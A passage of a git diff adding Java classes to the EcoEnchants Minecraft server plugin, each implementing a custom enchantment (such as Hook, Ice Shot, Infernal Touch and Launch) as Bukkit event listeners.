Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void grappleHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if(event.isCancelled()) return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(victim.hasMetadata("NPC")) return; + + if(!AntiGrief.canInjureMob(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double baseMultiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "velocity-multiplier"); + Vector vector = player.getLocation().toVector().clone().subtract(victim.getLocation().toVector()).normalize().multiply(level * baseMultiplier); + victim.setVelocity(vector); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/GreenThumb.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/GreenThumb.java new file mode 100644 index 00000000..455bce08 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/GreenThumb.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.ItemDurability; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.Action; +import org.bukkit.event.player.PlayerInteractEvent; + +@SuppressWarnings("deprecation") +public class GreenThumb extends EcoEnchant { + public GreenThumb() { + super( + new EcoEnchantBuilder("green_thumb", EnchantmentType.NORMAL, Target.Applicable.HOE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onInteract(PlayerInteractEvent event) { + Player player = event.getPlayer(); + + if (!event.getAction().equals(Action.LEFT_CLICK_BLOCK)) + return; + + if (event.getClickedBlock() == null) + return; + + if (!event.getClickedBlock().getType().equals(Material.DIRT)) + return; + + if (!HasEnchant.playerHeld(player, this)) return; + + if(!AntiGrief.canBreakBlock(player, event.getClickedBlock())) return; + + if(this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "damage")) + ItemDurability.damageItem(player, player.getInventory().getItemInMainHand(), 1, player.getInventory().getHeldItemSlot()); + + event.getClickedBlock().setType(Material.GRASS); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Grit.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Grit.java new file mode 100644 index 00000000..0523abe4 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Grit.java @@ -0,0 +1,51 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.ItemDurability; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.meta.Damageable; + +@SuppressWarnings("deprecation") +public class Grit extends EcoEnchant { + public Grit() { + super( + new EcoEnchantBuilder("grit", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onGritHurt(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!(event.getDamager() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + Player attacker = (Player) event.getDamager(); + + if(!AntiGrief.canInjurePlayer(attacker, player)) return; + + int totalGritPoints = HasEnchant.getArmorPoints(player, this, false); + + if (totalGritPoints == 0) + return; + + if (!(attacker.getInventory().getItemInMainHand() instanceof Damageable)) + return; + + int damage = (int) Math.ceil(this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-per-level") * totalGritPoints); + + ItemDurability.damageItem(player, player.getInventory().getItemInMainHand(), 1, player.getInventory().getHeldItemSlot()); + } + +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Hook.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Hook.java new file mode 100644 index 00000000..77bd596d --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Hook.java @@ -0,0 +1,53 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Hook extends EcoEnchant { + public Hook() { + super( + new EcoEnchantBuilder("hook", EnchantmentType.NORMAL, Target.Applicable.BOW, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void hookHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) + return; + if(!(((Arrow) event.getDamager()).getShooter() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if(event.isCancelled()) return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(victim.hasMetadata("NPC")) return; + + if(!AntiGrief.canInjureMob(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double baseMultiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "velocity-multiplier"); + Vector vector = player.getLocation().toVector().clone().subtract(victim.getLocation().toVector()).normalize().multiply(level * baseMultiplier); + victim.setVelocity(vector); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Horde.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Horde.java new file mode 100644 index 00000000..d82a31e8 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Horde.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Horde extends EcoEnchant { + public Horde() { + super( + new EcoEnchantBuilder("horde", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + Player player = (Player) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double distance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "distance-per-level") * level; + + int entitiesNearby = (int) player.getNearbyEntities(distance, distance, distance).stream().filter(entity -> entity instanceof LivingEntity).count(); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "multiplier-per-level"); + multiplier = (1 + (level * multiplier * entitiesNearby)); + + event.setDamage(event.getDamage() * multiplier); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/IceShot.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/IceShot.java new file mode 100644 index 00000000..4f63d07e --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/IceShot.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class IceShot extends EcoEnchant { + public IceShot() { + super( + new EcoEnchantBuilder("ice_shot", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.CROSSBOW, Target.Applicable.BOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + if(!(((Arrow) event.getDamager()).getShooter() instanceof Player)) + return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if(event.isCancelled()) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + victim.setVelocity(new Vector(0, 0, 0)); + victim.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, 30, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Ignite.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Ignite.java new file mode 100644 index 00000000..dc1c2473 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Ignite.java @@ -0,0 +1,64 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.block.BlockFace; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.ProjectileHitEvent; + +@SuppressWarnings("deprecation") +public class Ignite extends EcoEnchant { + public Ignite() { + super( + new EcoEnchantBuilder("ignite", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onLand(ProjectileHitEvent event) { + if (event.getEntityType() != EntityType.ARROW) + return; + + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + if(event.getHitBlock() == null) + return; + + Block block = event.getHitBlock(); + + Player player = (Player) event.getEntity().getShooter(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (!(event.getEntity() instanceof Arrow)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + float power = (float) (0.5 + (level * 0.5)); + + if (!AntiGrief.canBreakBlock(player, block)) + return; + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + BlockFace face = event.getHitBlockFace(); + + assert face != null; + + block.getRelative(face).setType(Material.FIRE); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/IllusionAspect.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/IllusionAspect.java new file mode 100644 index 00000000..44b3b6d1 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/IllusionAspect.java @@ -0,0 +1,54 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class IllusionAspect extends EcoEnchant { + public IllusionAspect() { + super( + new EcoEnchantBuilder("illusion_aspect", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void illusionAspectHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getDamager(); + + Player victim = (Player) event.getEntity(); + + if(!AntiGrief.canInjurePlayer(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + if (Rand.randFloat(0, 1) > level * 0.01 * chance) + return; + + victim.addPotionEffect(new PotionEffect(PotionEffectType.BLINDNESS, level * 10 + 15, level)); + victim.addPotionEffect(new PotionEffect(PotionEffectType.CONFUSION, level * 10 + 15, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Incandescence.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Incandescence.java new file mode 100644 index 00000000..51e37987 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Incandescence.java @@ -0,0 +1,45 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Incandescence extends EcoEnchant { + public Incandescence() { + super( + new EcoEnchantBuilder("incandescence", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onIncandescenceHurt(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!(event.getDamager() instanceof LivingEntity)) + return; + + Player player = (Player) event.getEntity(); + LivingEntity victim = (LivingEntity) event.getDamager(); + + int totalIncandescencePoints = HasEnchant.getArmorPoints(player, this, true); + + if (totalIncandescencePoints == 0) + return; + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + victim.setFireTicks(totalIncandescencePoints * this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "ticks-per-point") + this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "initial-ticks")); + }, 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/InfernalTouch.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/InfernalTouch.java new file mode 100644 index 00000000..1558c50c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/InfernalTouch.java @@ -0,0 +1,114 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.queue.DropQueue; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.GameMode; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.block.Container; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockDropItemEvent; +import org.bukkit.inventory.FurnaceRecipe; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.Recipe; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Iterator; +import java.util.List; + +@SuppressWarnings("deprecation") +public class InfernalTouch extends EcoEnchant { + public InfernalTouch() { + super( + new EcoEnchantBuilder("infernal_touch", EnchantmentType.NORMAL, Target.Applicable.TOOL, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void infernalTouchBreak(BlockDropItemEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (player.getGameMode() == GameMode.CREATIVE || player.getGameMode() == GameMode.SPECTATOR) + return; + + if (event.getBlock().getState() instanceof Container) + return; + + if (event.isCancelled()) + return; + + if (!AntiGrief.canBreakBlock(player, block)) return; + + + Collection drops = new ArrayList<>(); + event.getItems().forEach((item -> { + drops.add(item.getItemStack()); + })); + + List newDrops = new ArrayList(); + int experience = 0; + + for (ItemStack drop : drops) { + if (!this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "smelt-cobblestone")) { + if (drop.getType().equals(Material.COBBLESTONE)) { + newDrops.add(drop); + continue; + } + } + + Iterator iterator = Bukkit.recipeIterator(); + boolean couldSmelt = false; + Recipe recipe = null; + while (iterator.hasNext()) { + recipe = iterator.next(); + if (!(recipe instanceof FurnaceRecipe)) { + continue; + } + if (((FurnaceRecipe) recipe).getInput().getType() == drop.getType()) { + couldSmelt = true; + break; + } + } + if (couldSmelt) { + drop.setType(recipe.getResult().getType()); + experience += (int) ((FurnaceRecipe) recipe).getExperience(); + + if(drop.getType().equals(Material.IRON_INGOT)) { + experience += 1; + if(HasEnchant.playerHeld(player, Enchantment.LOOT_BONUS_BLOCKS)) { + int level = HasEnchant.getPlayerLevel(player, LOOT_BONUS_BLOCKS); + drop.setAmount((int) Math.ceil(1/((double) level + 2) + ((double) level + 1)/2)); + } + } else if(drop.getType().equals(Material.GOLD_INGOT)) { + if(HasEnchant.playerHeld(player, Enchantment.LOOT_BONUS_BLOCKS)) { + int level = HasEnchant.getPlayerLevel(player, LOOT_BONUS_BLOCKS); + drop.setAmount((int) Math.ceil(1/((double) level + 2) + ((double) level + 1)/2)); + } + } + } + newDrops.add(drop); + } + + event.getItems().clear(); + + new DropQueue(player) + .setLocation(block.getLocation()) + .addItems(newDrops) + .addXP(experience) + .push(); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Inferno.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Inferno.java new file mode 100644 index 00000000..9dd119c5 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Inferno.java @@ -0,0 +1,59 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.ProjectileLaunchEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Inferno extends EcoEnchant { + public Inferno() { + super( + new EcoEnchantBuilder("inferno", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onInfernoShoot(ProjectileLaunchEvent event) { + if (!(event.getEntity() instanceof Trident)) + return; + + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + Player player = (Player) event.getEntity().getShooter(); + Trident trident = (Trident) event.getEntity(); + ItemStack item = TridentStack.getTridentStack(trident); + + if (!HasEnchant.item(item, this)) return; + + trident.setFireTicks(Integer.MAX_VALUE); + } + @EventHandler + public void onInfernoShoot(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Trident)) + return; + + if(!(event.getEntity() instanceof LivingEntity)) + return; + + Trident trident = (Trident) event.getDamager(); + ItemStack item = TridentStack.getTridentStack(trident); + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.item(item, this)) return; + if(trident.getFireTicks() <= 0) return; + + victim.setFireTicks(100); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Instantaneous.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Instantaneous.java new file mode 100644 index 00000000..6328e63c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Instantaneous.java @@ -0,0 +1,44 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.anticheat.AnticheatManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockDamageEvent; + +@SuppressWarnings("deprecation") +public class Instantaneous extends EcoEnchant { + public Instantaneous() { + super( + new EcoEnchantBuilder("instantaneous", EnchantmentType.NORMAL, Target.Applicable.TOOL, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onDamageBlock(BlockDamageEvent event) { + Player player = event.getPlayer(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + if(event.getBlock().getDrops(player.getInventory().getItemInMainHand()).isEmpty()) + return; + + AnticheatManager.exemptPlayer(player); + + event.setInstaBreak(true); + + AnticheatManager.unexemptPlayer(player); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Invigoration.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Invigoration.java new file mode 100644 index 00000000..ba34ea82 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Invigoration.java @@ -0,0 +1,62 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; + +@SuppressWarnings("deprecation") +public class Invigoration extends EcoEnchant { + public Invigoration() { + super( + new EcoEnchantBuilder("invigoration", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onInvigorationHurt(EntityDamageEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if (player.getHealth() > this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "below-health")) + return; + + int totalInvigorationPoints = HasEnchant.getArmorPoints(player, this, false); + + if (totalInvigorationPoints == 0) + return; + + double damageReduction = totalInvigorationPoints * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "reduction-multiplier") * 0.01; + damageReduction += 1; + event.setDamage(event.getDamage() * damageReduction); + } + + @EventHandler + public void onInvigorationDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + Player player = (Player) event.getDamager(); + + if (player.getHealth() > this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "below-health")) + return; + + int totalInvigorationPoints = HasEnchant.getArmorPoints(player, this, false); + + if (totalInvigorationPoints == 0) + return; + + double damageBonus = totalInvigorationPoints * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier") * 0.01; + damageBonus += 1; + event.setDamage(event.getDamage() * damageBonus); + } + +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Kinetic.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Kinetic.java new file mode 100644 index 00000000..fefdf38c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Kinetic.java @@ -0,0 +1,39 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; + +@SuppressWarnings("deprecation") +public class Kinetic extends EcoEnchant { + public Kinetic() { + super( + new EcoEnchantBuilder("kinetic", EnchantmentType.NORMAL, Target.Applicable.ELYTRA, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onKineticHurt(EntityDamageEvent event) { + if(event.getCause().equals(EntityDamageEvent.DamageCause.FLY_INTO_WALL)) return; + + if(!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if(!HasEnchant.playerElytra(player, this)) return; + + int level = HasEnchant.getPlayerChestplateLevel(player, this); + + double reduction = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "reduction-per-level"); + double multiplier = 1 - ((reduction/100) * level); + event.setDamage(event.getDamage() * multiplier); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Launch.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Launch.java new file mode 100644 index 00000000..a7bc8171 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Launch.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.Action; +import org.bukkit.event.player.PlayerInteractEvent; + +@SuppressWarnings("deprecation") +public class Launch extends EcoEnchant { + public Launch() { + super( + new EcoEnchantBuilder("launch", EnchantmentType.NORMAL, Target.Applicable.ELYTRA, 4.0) + ); + } + + // START OF LISTENERS + @EventHandler + public void onFireworkUse(PlayerInteractEvent event) { + if(event.getItem() == null) return; + + if(!event.getItem().getType().equals(Material.FIREWORK_ROCKET)) + return; + + if(!event.getAction().equals(Action.RIGHT_CLICK_AIR)) + return; + + Player player = event.getPlayer(); + + if(!player.isGliding()) + return; + + if(!HasEnchant.playerElytra(player, this)) return; + + int level = HasEnchant.getPlayerChestplateLevel(player, this); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "multiplier"); + double boost = 1 + (multiplier * level); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> player.setVelocity(player.getVelocity().multiply(boost)), 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Leeching.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Leeching.java new file 